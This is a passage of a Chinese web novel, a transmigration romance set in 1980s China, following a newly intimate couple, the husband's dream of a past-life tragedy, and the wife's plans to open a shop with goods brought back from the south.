沈维云大概是在乡下玩得太忘我,体力透支了,一回到家就进屋睡觉了,沈维舟则是一回来就被研究所一个电话喊走了,絮絮叨叨的刘婶一走,院子里顿时就安静了下来。 柳绵绵感觉自己其实也有点累了,她盯着石榴树上结的小绿果子,眼神渐渐迷离,不知不觉就睡着了。 她是被人摇醒的。 “嗯?” 柳绵绵睁开眼,瞪着正弯腰看她的沈维舟,慢慢清醒过来:“你回来了?” 沈维舟嗯了声,在旁边的小凳子上坐下,捞过柳绵绵的手握在手里,捏了捏她的手指,说:“你先醒醒神,马上吃晚饭了。” “哦。”柳绵绵抠了抠他的掌心。 沈维舟看她一眼,问:“明天是不是也不用上班?” 柳绵绵懒洋洋说:“金老师巴不得我整个暑假都不去上班呢,也挺好,暑假这么热,待在家里也不错。” 沈维舟真是没见过这么懒散的人,忍不住失笑:“那你要不就不要去上班了?” 柳绵绵马上摇头:“那怎么行,上班才能维持正常的作息和社交。”不去上班,她大概每天都不想起床也不想见人。 “而且西餐厅工资还挺高的,偶尔也能听到一些有意思的八卦,还能听陈经理讲讲港城的花边新闻,哪个豪门又爆出私生子啦,哪个豪门大太二太联手对付外面的莺莺燕燕啦,哪个阔少同时交往几个女朋友啦,跟内地完全不一样的。” 沈维舟无语,他实在不懂这些花边新闻有意思在哪里,不过,“你喜欢港城?” 柳绵绵:“还行吧。” 沈维舟想了想,说:“今年怕是不行,研究所的项目还不能结束,等明年吧,可以去港城看看,奶奶的弟弟妹妹都在港城。” 柳绵绵好奇看向他:“你们平时还有联系?” 原书里倒是提到过,南城徐家其他人早年就去了港城,在港城发展得不错,后面还曾看在沈伯康的面子上,帮过沈维鸿夫妻俩。 书里着墨不多,柳绵绵以为是沈维舟死后,港城徐家人才和内地有了联络,正好便宜了沈维鸿他们。 现在看来竟然不是这么回事? 沈维舟点点头:“国门开了以后,舅爷爷和姨奶奶一起来过内地,也邀请过我们去港城,只是我身体一直不好,出远门不太方便。” “说到这个,原先白老爷子开的方子你停了一段时间了吧,是不是应该再去复诊一下重新调整药方了?”柳绵绵说。 沈维舟沉默两秒,说:“嗯,过两天我去一趟。” “我陪你去吧?” “……也行。”沈维舟转移话题,“明天晚上我们去看个电影吧?” “嗯?”柳绵绵抬眼看向他,忽然发现自己到了这个世界以后,好像确实还没有去看过电影,于是说,“好呀,叫上爸妈他们一起吗?” 沈维舟又捏了捏她的指尖,反问:“你说呢?” 柳绵绵忽然福至心灵,反应过来,沈维舟这是在邀请她单独出去看电影……是约会啊! 她扬了扬唇:“要不还是不叫了?” 沈维舟看她一眼,总觉得她这副狡黠的样子特别有趣,忍不住伸手刮了一下她的鼻子:“嗯。” “大哥大嫂吃饭了!” 沈维云突然从餐厅里窜出来,然后“啊”了一声,捂住眼睛,“我什么都没看到。”转身踢踢踏踏地又跑回去了。 “……” 柳绵绵有些无语地想,你这样子,好像我们真做了什么似的,我们明明比余国梁承包的那口鱼塘还清白。 倒也没有那么清白。 毕竟在乡下那张窄床上睡了好几个晚上,夜深人静,孤男寡女的,总会有忍不住动手动脚动嘴的时候……尤其沈维舟,好像解开了什么封印似的……打住打住,不能再想了。 柳绵绵清了清嗓子,说:“吃饭去。” “嗯。” 吃过饭后,柳绵绵倒是想起一件事儿:“让你舅爷爷姨奶奶他们帮我们弄个股票账户方不方便的?” 她早就想去港城股市里试试水了,但是听陈经理说,内地对这方面管制比较严格,内地居民没有正当理由,去港城一趟都非常难,更何况是去港城开户炒股票,只能暂时作罢。 现在知道沈维舟和港城徐家的人一直在联系,似乎关系还不错的样子,柳绵绵想要去港城股市里乘风破浪的心顿时又热切起来。 实在不行,就让舅爷爷或者姨奶奶帮忙持股,反正他们都是资产不菲的富豪,应该也看不上她这仨瓜俩枣,暂时不存在什么经济纠纷的风险。 “嗯,我回头问一下。”沈维舟边收拾写字台上的文稿资料边问,“你先去洗漱?” 柳绵绵还在想股票的事情,随口回答:“嗯,一会就去。” 沈维舟回头看她一眼,走过去,俯身在她唇上亲了一下,声音低沉温柔:“乖,现在就去。” 柳绵绵终于反应过来,脸忽然就红了。 第50章 与有情人 磨磨蹭蹭洗了很久,出来发现沈维舟没在屋里,柳绵绵莫名松了口气。屋里灯光太亮,让人有种无所遁形的感觉,她打开写字台上的台灯,把日光灯关了。 昏暗的灯光让整个房间染上几许暧昧的氛围,柳绵绵想了想,又把日光灯重新打开。 她爬上床,用薄毯给自己盖了个严严实实,没过几秒,又一把将薄毯掀开,呼,太热了。 瞪着天花板,柳绵绵不得不承认自己有点紧张。 嘴上花花是一回事,真刀实枪是另外一回事,何况她上辈子也是个母单,在这方面没有任何经验。 无父无母但有钱,这样的人设,建立亲密关系是一件很危险的事情。当然,也是因为她懒,不太拓展社交圈,并没有遇上真正能对上眼的人。 那沈维舟是能和她对上眼的人吗? 能吧。 毕竟要不是乡下客观条件不允许,他们可能早就……她并不讨厌沈维舟的触碰,相反,还挺喜欢的。 房门吱呀打开,沈维舟带着满身水汽走进房间,他回身把房门关上,脚步在写字台前微微一顿,啪嗒,开了台灯。下一刻,日光灯被关掉了,房间里的光线重新回归昏暗。 柳绵绵下意识闭上了眼睛,听觉却益发敏锐起来,她听见脚步声渐渐靠近,还听见窸窸窣窣的衣物摩擦声,随后温热的气息靠近,一声低沉的浅笑在耳侧响起:“闭着眼睛做什么?” 柳绵绵睁开眼睛,看到男人近在咫尺的漂亮五官。 其实新婚之夜第一眼看见他,她就觉得他长得好看,上辈子刷小视频看到帅哥斯哈斯哈的那种好看,是眉眼五官都正好长在她的审美点上,看一眼就会心跳加速的那种好看。 哪怕那时候他还有点凶,可就连他冷冰冰的样子,她也觉得好看。 当然,现在温柔浅笑的样子也好看,更好看。 沈维舟倾身在她唇边落下一个吻,问:“想什么?” 想什么? 想,人生得意须尽欢。 沈维舟微微起身,柳绵绵忍不住抬手拉了一下,男人清亮眼底顿时起了一团暗火,沉黑的眼眸注视着她,低低地:“嗯?” 柳绵绵心说,声音她也喜欢。 她微微抬头,亲在他的下巴上,他神情微顿,唇边的笑意隐去,在她退回去之前,低头吻了下来。 很深的吻。 一如在乡下时的夜晚,每每这种时候,他便好像剥开了斯文的伪装,动作霸道而强势,只是那时候他总是会在恰当的时候控制住自己,今晚却明显没有这个意思。 哪怕这个季节,他的指尖依旧是微微的凉,柳绵绵却觉得,他微凉的手指所到之处,都起了一团一团的火,她被火炙烤着,又在他的怀中软成了水。 她有些承受不住,手掌软软地推着他,被他捉住手腕,他身上的汗滴落在她脸上,她迷蒙看着他,无意识地软声喊了声:“沈维舟——” 男人动作微顿,随即箍着她盈盈一握的细腰,益发地发起狠来。 夜渐渐深沉,蝉鸣声好像很吵,又好像很静。 窝在男人怀里,柳绵绵似睡非睡,昏昏沉沉问:“沈维舟,你是沈维舟吗?” 沈维舟垂眸看向小猫一样蜷在怀里的女人,本就是明艳的长相,此刻眉梢眼角染了嫣红,像是雨后的春桃,更添一分惊心动魄的艳色。 他低首吻了吻她的眼角,薄唇在那一片肌肤上流连,许久,才轻轻嗯了一声:“我是,我一直是。” 柳绵绵感觉自己已经好久没有睡得这么沉了,像是高考结束那天,躺下去一觉就睡了一整天,再次睁开眼,已经是第二天晚上了。 这回倒是没那么夸张,再次睁开眼时,阳光已经洒进屋里,从阳光的角度和面积判断,应该只比平时晚了那么一两个小时。 反正她天天睡懒觉,有一天稍微睡晚一点也正常。 正想着,柳绵绵却感觉不太对,身侧热乎乎,腰上还横着一只手,她侧过头,没有看到熟悉的叠得方方正正的“豆腐块”,看到了沈维舟的脸。 不管几点钟睡觉,每天都准时早起的沈维舟,今天居然没有起床。 柳绵绵还是第一次看到睡着的沈维舟。 皮肤很白,鼻梁很高,睫毛居然也很长,唇有些薄,抿着嘴的时候会显得整个人气质很冷,可是很性感。 “好看吗?”沈维舟闭着眼睛开口,声音微微有些哑。 柳绵绵无声地笑了下,故意说:“一般吧。” 沈维舟睁开眼,看着她笑了笑:“那怎么办?” 柳绵绵叹了口气:“还能怎么办,结都结了,凑合过呗。” 沈维舟轻松把人捞到面前,沉声:“只是凑合过?” 没等她开口,一翻身覆了上去,柳绵绵忙开口告饶:“好看,特别好看,不凑合,特别不凑合……唔唔,起床了啦,都日上三竿了。” 又闹了一会儿,等到两人终于起床的时候,已经快到午饭时间了。 柳绵绵边洗漱边奇怪地念叨:“你不是一向准点起床的吗,今天怎么这么晚?”总不能是昨晚累着了吧?到底是身体底子差,看来中药还是得继续喝。 沈维舟全然不知自己不过多睡了一会儿,柳绵绵已经把未来一个月的中药都安排上了,他利索地整理着被褥,随口回答:“反正没事,陪你多睡一会。” 其实是昨夜睡着以后,他做了一个很长的梦,梦见上辈子自己死后的事情。 梦里母亲一直躺在医院里,维云在高考前夕从学校的楼顶一跃而下,连番变故,父亲一夜白头。后来,父亲干脆搬去了研究所,住在宿舍里,刘婶他们也搬走了。再后来,母亲身体状况恶化离开人世,父亲于是申调去了西北。 没过几年,沈维鸿和江映雪搬进求知巷9号,在这个院子里生儿育女。 他甚至还看到了柳绵绵,这个柳绵绵和他上辈子记忆中的一样,刻薄,自私,刁蛮,她带着从他家里搜刮来的财物,和朱永齐一起去了南方。他们学着其他人做生意,可做什么亏什么,终于亏完了所有的钱。 某个夜晚,朱永齐在柳绵绵入睡后,用迷药迷晕了她,把她卖给了他一早就认识的人贩子。 柳绵绵死在了那个偏远的小山村里。 明明是光怪陆离、毫无逻辑的梦,偏偏真实得就像刚刚发生过的事情。 惊醒以后沈维舟很久都没有再睡着。 他盯着夜色中酣然入眠的柳绵绵,心头一阵难言的恐惧,他知道她不是那个柳绵绵,可只要一想到她差一点就和朱永齐一起去了南方,差一点就死在那个偏远山村,他就浑身发冷。 梦里的一切,就是上辈子他死后真实发生过的。 尽管毫无根据,但是沈维舟却隐隐觉得就是如此。 可又觉得难以置信,沈维云那样的性格,怎么会跳楼?父亲又怎么会从祖母留下的祖宅中搬走?刘婶他们又怎么会在家里如此艰难的时候,也选择搬走?父亲就算是去了西北,又怎么可能会把徐家的房子留给沈维鸿住? 一切都似是而非,看似合理,其实处处都是漏洞。 但好像并非全无征兆。 上辈子他死之前,就察觉到了一些不对劲,只是后来人都死了,去了异世,什么不对劲都无从考证了。 这辈子很多事情都与上辈子不一样,自然也就无法考证上辈子的那些疑点。 沈维舟收拾好床铺,进卫生间洗漱。柳绵绵站在穿衣镜前,边整理衣服,边说:“既然你今天没什么事,要不今天就去白大夫那里看看吧?” 沈维舟洗漱完,走出来说:“今天不是说去看电影吗,下次再去吧。” 柳绵绵看他一眼,若有所指:“你,那什么,就睡了这么久,还是继续喝一下中药?” 沈维舟一开始没听懂她什么意思,琢磨了下反应过来,差点被她气笑了:“你觉得我需要喝中药?” 柳绵绵心说男人一般都不愿意正视这方面的不足,于是决定委婉一点:“不是我觉得,是医生觉得,咱们得听医生的。” “……” 沈维舟深深看她一眼,没吭声,转身走了出去。 哪怕他什么也没说,柳绵绵莫名就觉得他最后那个眼神十分危险。 刘婶果然对沈维舟这么晚起很惊讶,追着问他是不是哪里不舒服,要不要去医院开点药,柳绵绵在一旁乐得不行,心说可不止是医生觉得你要吃药,看,刘婶也觉得你需要吃药。 沈维舟无奈地瞥了她一眼,转移话题说:“我和绵绵准备晚上去看电影,晚饭不在家吃了。” 刘婶果然被转移了注意力:“外头开了好多饭馆,听说电影院旁边有一家装潢很漂亮东西也好吃,你们回头可以去试试。” 说了一通后,又告诉柳绵绵:“萝卜条我和你王叔早上没事都给装好了,哦哟,我和邻居们一说,马上就卖出去了六罐。小刘大姐那里,我明天一早就给她送一点,她性格蛮直爽的,肯定能答应。” 柳绵绵笑道:“那回头每卖出一罐给您一毛钱。” 刘婶连忙摇头:“不行不行,我这动动嘴跑跑腿的事情,哦哟,哪里好拿钱的啊?” 柳绵绵:“您也说了,您动了嘴跑了腿,付出了劳动,这钱给您不是应该的?再说也不多,才一毛钱,您不嫌少就行了。” 刘婶知道柳绵绵的脾气,也不推辞了:“一毛可不少了,我这没费多少事儿,就挣了六毛了呢,比他们糊火柴盒可挣得多多了。” 一陶罐萝卜条装了七八十个罐头瓶,要都卖完,她能得七八块钱呢。 刘婶顿时干劲满满,又叮嘱了沈维舟一遍,让他这两天赶紧抽时间去一下医院,然后就风风火火地出门了。 她得再去找街坊邻居推销推销。 早饭吃得晚,午饭就省了,午后柳绵绵睡了个回笼觉,迷迷糊糊中听见外面雷声隆隆,起来的时候,果然看到院子里地是湿的。雨已经停了,空气仿佛被清洗过,特别的干净清爽。 沈维舟从书房出来,问她:“早点出门?” 本来天气热的话,就晚一点出门,但今天刚下过雨,风吹过来都带着一丝难得的凉意,早一点出门倒也不错。 沈维舟从墙角推出一辆二八大杠,柳绵绵愣了愣,问:“我们骑自行车过去?” “夏天公交车上味道难闻,正好没有太阳,自己骑车过去也不热。”沈维舟将自行车推到院门口,扭头看柳绵绵,“愣着做什么,走呀。” 柳绵绵迟疑片刻,硬着头皮问:“你骑车,行吗?” 众所周知,不能问男人行不行这个问题,尤其某人明显讳疾忌医,连中药都不太乐意喝,可柳绵绵确实是担心,他这个身体能不能骑车。还不是一个人,还得带着她呢。 柳绵绵倒是想说自己骑车带他,但是想想也不可能,他看着是瘦,可他长得高呀,怎么也得一百三往上了吧,她骑不动的呀。 沈维舟气极反笑,问:“是我昨晚的表现,让你觉得我体力不足?” 回想了下昨夜,柳绵绵脸颊微红,说:“这倒也没有。”反正她体力不支的时候,他还是一副那什么的样子。 沈维舟拎着车出了院门:“走吧。” 他脚撑在地上,等她坐稳了,才一脚轻轻蹬了出去,车子极平稳又极快速地在巷子里穿行。 一辆自行车,竟,被他骑出了“风驰电掣”的感觉。 中间遇到巷子里的邻居,柳绵绵听见对方说“哦哟,维舟今天怎么骑车”,后面就听不见了。 为了不被甩下车,柳绵绵不得不紧紧拽住沈维舟身上的衬衣,把衬衣抓了一团皱,又心虚地干脆搂住了他的腰。 沈维舟脚上微微一顿,随即清了清嗓子,说:“前面不太平,你坐好了。” 柳绵绵干脆把脑袋贴在他背上:“嗯。” 这种感觉对她来说非常新鲜,在一个自己从未预料到的时空,和一个自己从未预料到的人,一起奔赴远方。 周围的一切,雨后初晴的天空,湿漉漉的街道,道路两旁远比未来要低矮的房屋,还有路上行色匆匆的人们,看起来都是那么的可爱。 她忽然想起昨夜自己混沌迷茫中问的那句话,原本已经忘记了,但此刻想起,却又清楚地记得,沈维舟在她耳边回答:“我是,我一直是。” 柳绵绵不知道那个时候自己为什么会问这个问题,但此时此刻,她觉得这些都不重要了。 与有情人,做快乐事,何况这个时代如此可爱。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 50-60 第51章 咱们这回发了 结婚几个月后,柳绵绵终于过上了夜夜笙歌的日子,别看她还琢磨着给沈维舟开中药,但说实话,她是纯粹怕沈维舟身体有什么不妥。至于别的方面,柳绵绵真心觉得,沈维舟确实不需要吃中药。 就因为那天说让他去找白大夫复查开药,后面连着三天,柳绵绵夜里几乎都没怎么睡过整觉。 别说沈维舟不想听见中药了,现在是谁在她面前提中药这两个字,她就跟谁急。 算了,爱吃不吃吧。 就他那体力,正常人都比不过他。 有了更亲密的关系之后,柳绵绵也算是有些琢磨出来了,沈维舟的身体应该真的没问题了。 他是沈维舟,但是,他的身体已经没问题了,不会再英年早逝。 正当柳绵绵因为睡眠不足而日渐烦躁的时候,研究所那边终于来电话了,说是其他人的研究跟上来了,沈维舟可以回去继续奋战了。 前期似乎是沈维舟手上的项目研究完了,其他人一些配套的东西却迟迟没有进展,沈维舟这才有了一段休息的时间。 柳绵绵也不管他在研究什么,赶紧就催着他回研究所去,为华国的国防事业继续发光发热……反正别成天待在家里就行,她需要休养生息! 正好,蒋红梅他们也要从南方回来了,他们这回进了不少货,王叔有个战友在火车站的,帮忙解决了运输问题,柳绵绵算着时间,和王叔一起去火车站接人。 王叔请了个假,从酒厂借了辆“摩托三卡”,就是后世北方叫三蹦子的。 这玩意儿是豫省一个农民先发明的,他把摩托车的发动机装到人力三轮车上,三轮车不管是速度还是载重量,都得到了巨大的提升,成本比拖拉机少,还比拖拉机轻巧灵活。这样的好东西流传开是必然的,这不最近南城街头也经常能看见了。 不过,摩托车发动机也不便宜,所以这东西还是一些厂子或是个体户拿来运东西比较多。 也就是夏天,要是冬天,坐这玩意儿上头,估计脑袋都得被吹懵了。 柳绵绵一边嫌弃一边琢磨着回头给余国梁打个电话,让他也去弄一辆这玩意儿,这在乡下,那绝对是运输利器。毕竟村里交通是真不方便,人还能骑个自行车,运东西没有拖拉机,就只能人力拉个架子车了。 到了火车站,柳绵绵东张西望地找人,然后就看见一个皮肤黢黑、穿得破破烂烂的姑娘冲着她大力地挥手,她身旁是同样皮肤黢黑的小伙子,一笑,咧着一口大白牙。 俩人身旁是堆得跟山一样高的、几个硕大的蛇皮袋子,衬得人就跟动画片里偷了玉米的老鼠一样。 柳绵绵一走过去,蒋红梅就拽着她的手臂:“柳绵绵,我跟你说,发了,咱们这回发了!” 柳绵绵也挺奇怪:“南方东西这么便宜的吗,你们搞回来这么多东西?”难怪特地打电话来让帮忙找人解决运输问题呢。这么多东西,客车厢确实也放不下。 “东西也便宜,我们运气也好,弄到了一批尾单货。”蒋红梅兴奋地说,“幸好去之前你说了那么多骗人的手法,我们这回也是遇到了好几拨,有两次差点就被骗了,一想不对劲,我和刘安民赶紧就跑了。” 现在城里工作不好找,有的人就推个架子车到火车站门口,专门帮人搬东西。柳绵绵刚刚进来的时候就喊了两个,也幸好她喊了人,不然这袋子这么大,凭他们几个人真是够呛。 搬东西的事情交给男同志,柳绵绵和蒋红梅就站在摩托三卡旁边盯着货。 这回去南方看来真的给了蒋红梅很大的刺激,她平时挺飒爽的一个人,也开启了碎碎念的模式,事无巨细地给柳绵绵讲他们这段时间在南方的经历。 遇到过骗子、扒手,甚至还有抢劫的,不过也遇到不少好心人,用蒋红梅的话说就是,前二十几年加起来的经历,都没有这十几天精彩。 “其实南方电子产品也便宜,可惜咱们本金不多,我和刘安民商量着进了一些电子表,像是录音机、录像机什么的,成本实在太高了。”蒋红梅叹息。 真的去了南方,她才发现,柳绵绵当初说的一点都不夸张。那边的工厂真的太多了,而且到处都在盖房子,不断有新的厂子冒出来。有些村子里,看着不太起眼,也有好多的厂子和作坊。 还有专门的批发市场,密密麻麻的档口,成堆成堆的货物,每天天蒙蒙亮,就被拉往全国各地。 档口的老板做生意也很干脆,他们进电子表的档口老板,开口就是:“时间就是金钱啦,叫价没意思的啦,多说两句话我少赚很多钱的啦。” 蒋红梅还是第一次听人说时间就是金钱。 她从小生活在军工大院里,只知道工人只要每天到岗按时上下班就能拿到工资,大院里不上班的人每天则把时间都花在家务和闲磕牙上,家庭主妇们最常说的一句话就是“时间多的是,时间最不值钱了”。 她感觉自己的观念受到了冲击。 但是,哪怕只有短短十几天时间,蒋红梅也深深感受到了“时间就是金钱”的含义。 “世界上最公平的东西就是时间,每个人都只有二十四小时,而人与人的不同,就在于如何利用这二十四小时。就好比,你说的那位档口老板,他开档口的时间是固定的,但在固定时间里,他每多做成一笔生意,就多一份收入,他的时间也就更‘值钱’。”柳绵绵说。 蒋红梅连连点头:“没错,我琢磨就是这个意思。” 她没想到,柳绵绵只是听她这么一说,就能准确地领悟到自己花了十几天时间才明白的道理,甚至比她想得还要透彻。 明明柳绵绵才是从小在乡下长大的那个,但蒋红梅总有一种自己在观念、眼光上都跟她没法比的感觉。 所以别看柳绵绵每次都不怎么出力,但她有钱,还有想法,就让蒋红梅觉得,自己跟她合伙,是一定能挣到钱的。 柳绵绵不知道蒋红梅的想法,她想了想,说:“其实录音机、录像机不着急,入冬以后才是这些东西需求量最旺盛的时候,等到那时候,咱们的本钱没准已经足够了。” 华国人的传统,下半年结婚的人比较多,而且辛劳了一年,也有很多人会想着买点好东西犒劳一下自己和家人,这时候电视机、录像机、录音机这种大件的销量才最好。 蒋红梅一想,乐了:“你说的对,货如果卖得快,入冬前我和刘安民再跑一两趟,应该能挣不少。” 摩托三卡被货塞得满满的,根本坐不下人,只能由王叔先把货运回去,其他人坐公交车回去。 火车站的公交车就没有不挤的,蒋红梅和刘安民大概真是走南闯北练出来了,钻公交车钻得特别丝滑,柳绵绵好不容易挤上车后,震惊地发现,蒋红梅甚至还帮她占了个位置。 可真是救大命了。 柳绵绵赶紧挤进去坐下。 大夏天的,车里的味儿真的太大了,柳绵绵脸冲着窗外,才觉得好多了。 蒋红梅看着她直乐:“你乡下爹妈对你挺好的吧,你瞧你这样子,娇气得跟个千金大小姐似的,这点苦都吃不了。”蒋红梅是觉得,尽管柳绵绵是从城里被报错去了乡下,可跟柳家比起来,她乡下那个家反倒更好些,从她毫无音讯养父母还不停给她寄东西就能看出来。 这人啊,可真是好命。 抱错去了乡下,碰到了更好的父母。嫁个病恹恹的沈维舟,结果在婆家要风得风要雨有雨。 呼吸到新鲜空气的柳绵绵理直气壮:“没苦用不着硬吃,等咱们有钱了,还是自己买个车吧。”没车的日子可太苦了。 蒋红梅:“……你可真敢想。” 火车站到求知巷还挺远的,一路上乘客上上下下,人倒是渐渐少了一些,没那么挤了。 坐在她俩前排的是两个中年男人,一路都在吹牛。 一个说自己在市里在省里都“有人”,认识谁谁谁,和谁谁谁又是铁子,上回还跟谁谁谁一起吃饭了。 一个说自己刚从南方回来,考察市场去了,准备在那边投资办个厂,回来就是准备来把这边的房子处理掉的,老婆孩子都要一起去南方了,以后发展好了,就去港城,不回南城了。 听得柳绵绵和蒋红梅白眼连连。 大概是实在吹无可吹了,俩人终于换了话题,说起北方君子兰价格狂跌的新闻。 “随便想想也知道嘛,山里随便挖的一根草,卖到几千几万十几万,这不离谱?你说古董,弄到国外去,还有人收,这玩意儿弄个不好就养死了,谁花那么多钱买啊,都是炒炒的啰。” “也不是这么说,兰花是传统花卉,有文化内涵的。物以稀为贵嘛,也不是随便挖一根就能卖到那么高价格的,高价的都是珍稀品种。珍稀品种卖得高,又什么奇怪的?古代就有牡丹一朵值千金的说法,珍稀品种的君子兰卖个十几万也正常啊。” “报纸上不说了吗,价格狂跌,不值钱没人要了。什么珍稀不珍稀的,又不能当饭吃,老百姓啊还是吃穿住行最重要。” “老弟,你还是缺少一点高雅的品味啊,吃穿住行固然重要,人也还是要有点精神层面的追求的嘛。” “我看你这人才是不接地气,叫什么来着,对了,酸腐,就跟古代的酸秀才一样。” “不是,你怎么能这么说我?” “不是你先说我没有高雅品味的吗,怎么的,只准你说我,还不准我呛回去啊?” “不可理喻。” “我呸。” …… 好嘛,哥俩好了一路,居然因为君子兰谈崩了。 柳绵绵无语。 蒋红梅扯扯柳绵绵,压低声音说:“你知道你妈,我是说丁明霞,她弟弟在炒君子兰吗?” 柳绵绵当然不知道。 蒋红梅:“我也是有一回不小心听见的,她弟弟过来找她要钱,说是有靠谱的渠道弄到好品种,也就两个月前的事情。” 柳绵绵和她对视一眼,明白了她的意思。 丁明霞的弟弟,根据原主的记忆,好像是叫丁宝俊,丁宝俊如果手脚不够快,弄到君子兰,再从南城运过去,没准到了北方,刚好就赶上君子兰狂跌价。 他收君子兰的时候,价格应该正高,加上中间运输的费用,成本应该不少,然后到了那边价格正往下砸,估计就很难脱手,这一波多半是血亏。 “丁明霞弟弟是在机械厂上班的吧,好像是保卫科的,他老婆好像也是工人,俩人收入不低的,不过经常上军工大院来打秋风。” 丁明霞是说他们姐弟感情好,弟弟经常带孩子来看看她,可邻居们也不是眼睛瞎的,她弟弟每回都是空手来大包小裹的回去,这叫看看她吗,这分明就是打秋风呐。 柳绵绵表情复杂地看了蒋红梅一眼:“你知道的还挺多。”不但经常能恰好一不小心听见一些事情,甚至还知道丁宝俊在哪里上班,连他老婆是工人都知道。 蒋红梅:“……嗐,我妈不是和丁明霞不太对付嘛,她们老互相盯着,我随便听一耳朵就都知道了。” 柳绵绵一想也是,最了解你的不一定是朋友,很有可能是敌人。 等他们坐着公交车摇摇晃晃到求知巷,王叔不但找人帮忙把货都搬进了后院,甚至连那辆摩托三卡都已经还给酒厂了。 于是几个人干脆坐到石榴树下吃西瓜。 刘婶啧啧叹息:“你们也不容易,走一趟南方,都快晒成黑炭了,这身上还破破烂烂邋里邋遢的。” “这不是怕穿得好了被人盯上嘛。”蒋红梅摸了摸脸,无奈,“脸上也抹了点灰,不过黑是真的黑了不少,南方那太阳,天天火辣辣的。” 拉着刘婶又讲了一通南方的见闻,另一边刘安民也拉着王叔在讲,讲到激动处,四个人都齐齐拍大腿。 柳绵绵等他们讲尽兴了,才问刘婶:“之前托您帮忙打听房子,有合适的吗?” 大老远的从南方弄来的货,当然不可能再像之前那样,拿去农村赶大集卖,得自己弄个店面。不过蒋红梅和刘安民没回来前,柳绵绵也只是请刘婶帮着打听打听,毕竟万一他们出什么岔子,她这边租了店面也没用。 刘婶最近也是很忙碌,家里的活儿要顾着,还要抽空卖萝卜条,至于打听房子,那都是卖萝卜条时顺带的事情了。 “咱们这一片临街的没有空铺面,做早点的做饭馆的,都抢着租呢。倒是工人路那边,你们奶奶原先留了几个铺面的,公家退回来以后,就都租出去了。中途赶人肯定不好的,不过我最近听人说有一家卖南北干货的不想做了,还没来得及去问。明天咱们一起去问问,顺便看看合不合适。” 刘婶皱起眉头:“至于住宅,咱们这一片价格都高,价格便宜点就是隔壁胡同的大杂院了,你真想买啊?你说说,家里这么多屋子,你买房子做什么哟。” 柳绵绵才想起来,之前好像随口跟刘婶说过,想买个自己住的屋子,租铺面是后来才跟她说的,没想到她一直都在帮忙留意着。 原先她不是琢磨着,沈维舟要是身体好了,他们这有名无实的婚姻多半维持不下去嘛,就想着先关注着,要是有合适的,就先买一间,好歹有个落脚的地方。 哪知道计划赶不上变化,她和沈维舟有名有实了呢? 不过真有合适的,其实也可以买,买房子总归不会亏的。 柳绵绵:“买了先放着也可以嘛。” 刘婶不理解:“不住买什么,你是怕和沈维舟吵架吗,吵架把他赶出去就好了嘛,你做什么自己买房子哦!” 正好进门的沈维舟:“……” 第52章 高冷是假的,属狗是真的(一…… 晚上柳绵绵坐在写字台前写策划,沈维舟洗漱完,站在她身旁,瞥了眼稿纸上秀丽锋劲的字,问:“你想买房子。” 柳绵绵划掉前面写的一行字,想了想,重新写下一行,随口回答:“是啊,爹有娘有老公有,全都不如自己有。” 说完屋里子顿时就安静了几秒。 柳绵绵握着钢笔顿了下,心说果然不能一心二用,一不小心就秃噜嘴,把心里话说出来了。她试图弥补:“我是说做人要自力更生,不能老想着坐等靠要……” 剩下的话被沈维舟用唇堵了回去。 一个带着惩罚性质的深吻,最后还在她下唇轻轻咬了一下。 柳绵绵:“……”高冷是假的,属狗才是真的。 沈维舟骨节修长的手指轻轻抚着她的唇瓣,说:“我在青鱼巷有个小院子,给……卖给你怎么样?” 这些万恶的有钱人! 想到刘婶说他家在工人路还有铺面,柳绵绵忍不住羡慕嫉妒地问:“你家是不是有很多房子?” “不多,有些早年就捐掉了,有些产权不清楚,没拿回来。也就五六个铺面,几个院子吧。” 不多,呵呵。 嫉妒让人面目全非。 柳绵绵给自己打气,八十年代猪都能起飞,等姐姐挣它个小目标,买一条街的房子。 打气归打气,柳绵绵也不得不承认,自己目前还买不起一个院子。 虽说现在她和沈维舟的关系有了实质性的进展,倒是不用惦记着把彩礼钱和红包钱还给他了,但是投资挣钱也是要本金的,随着摊子铺得越来越大,她手里需要的流动资金也会越来越多。 她叹气:“我现在手头的钱只够买单间,买不起小院子。”青鱼巷也是好位置,那里的单间价格都不低,更何况院子。 沈维舟弯了弯唇,捏着她的手帮她想办法:“你可以分期付钱。” 柳绵绵抬头看他:“那利息怎么算?” “利息可以……”沈维舟低下头,在她耳边轻轻说了两个字。 柳绵绵顿时脸颊飞红,狠狠瞪了他一眼:“不要脸!” 她推开沈维舟:“去去去,我才不要分期的房子,你等着,等姐姐挣钱了,就去青鱼巷买一排院子。” 沈维舟笑了下:“行,我等着。”拽着她的手腕把她拉起来:“晚上写东西劳神,明天白天再做。” 柳绵绵心说,你说的这么冠冕堂皇,你先把放在我腰上的手拿走,这话才有可信度。 不过很快,她就没有心思再想东想西了,沈维舟的唇吻了上来,微凉的手指也探进了她的衣服里,啪地,灯黑了,室内渐渐起了暧昧的喘息。 翌日,柳绵绵毫无悬念的,又晚起了。不过沈维舟倒是早早地起床走了。自从他们之间不再是纯洁的“床友”关系后,沈维舟就把他那床薄被给收起来了,所以哪怕他早起,柳绵绵也看不到熟悉的“豆腐块”了。 “沈维舟几点去上班的?”柳绵绵边吃早饭边问刘婶。 “跟他爸妈一起出的门。”刘婶说,随即有些暧昧地看向柳绵绵,“你俩最近处得不错吧,洗床单的频率都高了。” 柳绵绵:“……” 果然,别以为大妈保守,大妈们开放起来能让柳绵绵这个网络小黄人甘拜下风。 她不回答,专心吃早饭,刘婶露出了然又欣慰的笑容。 吃过饭,柳绵绵和刘婶一起出门去看铺面。这可是眼下的头等大事,货到了,店还没开呢。 他们之前的货都是一些便宜的瑕疵品,主要市场也是农村大集,经营模式极端粗放,幸亏价格低,所以卖得也很快。但广市进过来的货是不能这么卖的,要走高端路线,得有店面,还得搞点营销手段。 别看柳绵绵穿过来也好几个月了,她其实都没怎么在外面逛过,尤其工人路这一片,她还没来过。 这边据说建国前就是南城的商业街,打战的时候还曾被烧掉过半条街,所以建筑风格有些杂糅,华国古建筑也有,西洋建筑也有,苏国风格的建筑也有,挺有特色的,感觉未来旅游发展起来,这边应该也能算南城的一个景点了。 沈家的铺面就在路口,隔着马路,就是南城有名的老字号酒楼宴宾楼,另一边则是南城第二百货大楼,本地人简称作“二百”。 这个位置柳绵绵看着就很满意了。 据刘婶说,路口打头的六间都是沈家的,卖南北干货的店在路口往里第三家。 这一排的铺面都是两层半的小楼,楼下卖货,楼上可以住宿,当然,也有两层楼都用来卖货的。铺面开间都挺大,目测有求知巷那边铺子一个半那么大了。 